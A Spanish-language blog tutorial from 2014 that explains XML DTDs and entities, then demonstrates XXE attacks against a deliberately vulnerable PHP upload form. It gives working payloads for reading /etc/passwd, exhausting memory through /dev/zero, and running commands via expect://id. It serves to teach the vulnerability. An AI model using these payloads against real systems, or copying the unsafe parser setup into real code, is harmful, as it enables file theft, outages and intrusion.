sábado, 15 de marzo de 2014

Jugando con XXE (Xml eXternal Entity)

XXE (Xml eXternal Entity) es un tipo de vulnerabilidad con el que hace mucho tiempo tenía ganas de jugar. En este post voy a explicar lo más básico de esta vuln con el propósito de entender su funcionamiento.

XXE es un fallo que se produce en aplicaciones que hacen uso de "parsers" XML. Es decir aplicaciones que reciben como entrada un documento XML y para procesarlo hacen uso de alguna librería de parseo como LibXML, Xerces, MiniDOM, etc. El atacante entonces puede enviar un documento XML especialmente manipulado para conseguir que el parser XML divulgue información del sistema, consuma recursos en exceso, ejecute comandos u otras formas de explotación.

Pero vamos por partes...

Documentos XML válidos y el DTD

Se dice que un documento XML está bien formado (well formed) cuando cumple con la estructura definida por el estándar XML: que incluya la especificación de versión, que tenga un único nodo raíz, que cada tag esté correctamente cerrado, etc. Además, se dice que un documento XML es válido (valid) cuando además de estar bien formado cumple con las reglas definidas por el DTD (u otro mecanismo de validación).

Nota: En nuestro caso solo consideraremos el DTD como mecanismo de validación.

Veamos un ejemplo:

<?xml version="1.0" encoding="utf-8"?>
<root>
    <alumno>
        <nombre>Juan</nombre>
        <apellido>Perez</apellido>
        <codigo>1234</codigo>
    </alumno>
</root>

El documento anterior es un XML bien formado, pero para que sea válido debemos especificar un DTD contra el cual se validará la estructura del XML. El DTD sería algo como esto:

<!DOCTYPE root [
<!ELEMENT root (alumno)>
<!ELEMENT alumno (nombre, apellido, codigo)>
<!ELEMENT nombre (#PCDATA)>
<!ELEMENT apellido (#PCDATA)>
<!ELEMENT codigo (#PCDATA)>
]>

Con este DTD indicamos que el nodo raiz es "root", que el nodo "root" tiene un subnodo "alumno", que el nodo "alumno" tiene subnodos "nombre", "apellido" y "codigo" y finalmente que los nodos "nombre", "apellido" y "codigo" contienen datos (es decir no tienen subnodos).

Finalmente nuestro documento XML quedará así:

<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE root [
<!ELEMENT root (alumno)>
<!ELEMENT alumno (nombre, apellido, codigo)>
<!ELEMENT nombre (#PCDATA)>
<!ELEMENT apellido (#PCDATA)>
<!ELEMENT codigo (#PCDATA)>
]>
<root>
    <alumno>
        <nombre>Juan</nombre>
        <apellido>Perez</apellido>
        <codigo>1234</codigo>
    </alumno>
</root>

Cuando un parser procese nuestro XML encontrará el DTD y procederá a verificar si la estructura del documento concuerda con las reglas del DTD para concluir si el XML es válido o no lo es.

Entidades XML

Los DTD también nos permiten definir entidades XML (XML Entity). Las entidades XML son "alias" que se substituyen por otro valor previamente definido cada vez que aparecen en el documento XML. Para comprenderlo mejor piensen en la códificación de ciertos carácteres en HTML:

CARACTER          CODIFICACIÓN
©&copy;
<&lt;
>&gt;
&&amp;

De forma similar, el DTD nos permite definir nuestras propias entidades y usarlas en el documento XML. Por ejemplo:

<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE root [
<!ELEMENT root (data)>
<!ELEMENT data (#PCDATA)>
<!ENTITY ejemplo "Este es un ejemplo de entidad...">
]>
<root>
    <data>&ejemplo;</data>
</root>

En el ejemplo definimos la entidad "ejemplo" con el valor "Este es un ejemplo de entidad...". Luego insertamos la entidad dentro del nodo "data". Si posteriormente le pedimos al parser XML el valor del nodo "data" nos devolverá "Este es un ejemplo de entidad...".

Las entidades pueden ser de dos tipos: internas o externas. Las entidades internas son como la que vimos en el ejemplo anterior, su valor se define en el mismo documento XML. Por otra parte, las entidades externas son aquellas cuyo valor se encuentra en un recurso externo (osea otro archivo). En este caso la definición de la entidad incluirá una URL o URI con la referencia al recurso externo. Veamos:

<!ENTITY externa SYSTEM "otroarchivo.xml">

En el ejemplo se define la entidad "externa" que hace referencia al archivo "otroarchivo.xml". El parser comprenderá entonces que cada vez que en el documento XML aparezca &externa; deberá insertar en esa posición el contenido del archivo "otroarchivo.xml".

Explotando Xml eXternal Entity

Suficiente teoría... ahora la acción!!

Para practicar usaremos el siguiente programa en PHP:

<html>
<body>
<h1>Procesar XML</h1>
<form action="" method="post" enctype="multipart/form-data">
    <label for="file">Archivo XML:</label>
    <input type="file" name="file" id="file">
    <input type="submit" name="submit" value="Enviar">
</form>

<h1>Resultados</h1>
<?php

    // Se ha recibido un archivo XML ?
    if( isset($_FILES["file"]) ) {

        // Creamos un objeto DOMDocument (parser XML)
     $doc = new DOMDocument();
 
     // Activamos la validacion del DTD
     $doc->validateOnParse = true;
     
 // Parseamos el archivo XML recibido
     $doc->Load($_FILES["file"]["tmp_name"]);
 
 // Se imprime el valor de todas las etiquetas "data"
     $tags = $doc->getElementsByTagName("data");
     foreach($tags as $tag) {
         echo "<pre>" . $tag->nodeValue . "</pre>\n";
     }
        
    } else {
        echo "<h3>No ha enviado ningún archivo XML</h3>";
    }
?>
</body>
</html>

Fig. 1 - Programa de prueba

El programa de prueba recibe un documento XML, lo parsea e imprime el valor de todas las etiquetas "data".

Vector 1: File disclosure

Creamos un archivo "xxe.xml" así:

<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE root[
<!ELEMENT root (data)>
<!ELEMENT data (#PCDATA)>
<!ENTITY xxe SYSTEM "file:///etc/passwd">
]>
<root>
    <data>&xxe;</data>
</root>


En el XML anterior se define una entidad externa "xxe" que hace referencia al archivo "/etc/passwd". Luego insertamos la entidad como valor de la etiqueta "data" y si enviamos esto como entrada al programa de ejemplo ya pueden imaginar lo que sucederá...

Fig. 2 - XXE: File disclosure

Vector 2: Denial of Service

Creamos un XML similar al anterior pero con una entidad externa que haga referencia a "/dev/zero". Esto provocará que el parser se quede pegado leyendo /dev/zero mientras consume la memoria hasta agotarla... Muahahahaha.... xD

<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE root[
<!ELEMENT root (data)>
<!ELEMENT data (#PCDATA)>
<!ENTITY xxe SYSTEM "file:///dev/zero">
]>
<root>
    <data>&xxe;</data>
</root>


Vector 3: RCE (Solo en PHP)

En PHP podemos usar el filtro "expect" para leer la salida de un comando a través de una URL de esta forma: "expect://comando". La extensión expect no se encuentra instalada por defecto.

Nota: Se puede instalar expect con el comando "pecl install expect". Luego es necesario habilitar la extensión añadiendo la línea "extension=expect.so" en el php.ini. El comando pecl requiere los fuentes de PHP y otras dependencias para poder compilar expect (En Fedora: yum install php-devel tcl-devel expect-devel).

El XML para ejecución de comandos quedaría así:

<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE root[
<!ELEMENT root (data)>
<!ELEMENT data (#PCDATA)>
<!ENTITY xxe SYSTEM "expect://id">
]>
<root>
    <data>&xxe;</data>
</root>


Fig. 3 - XXE: Remote Command Execution

Referencias

Más información sobre XXE:


Un saludo.

1 comentario: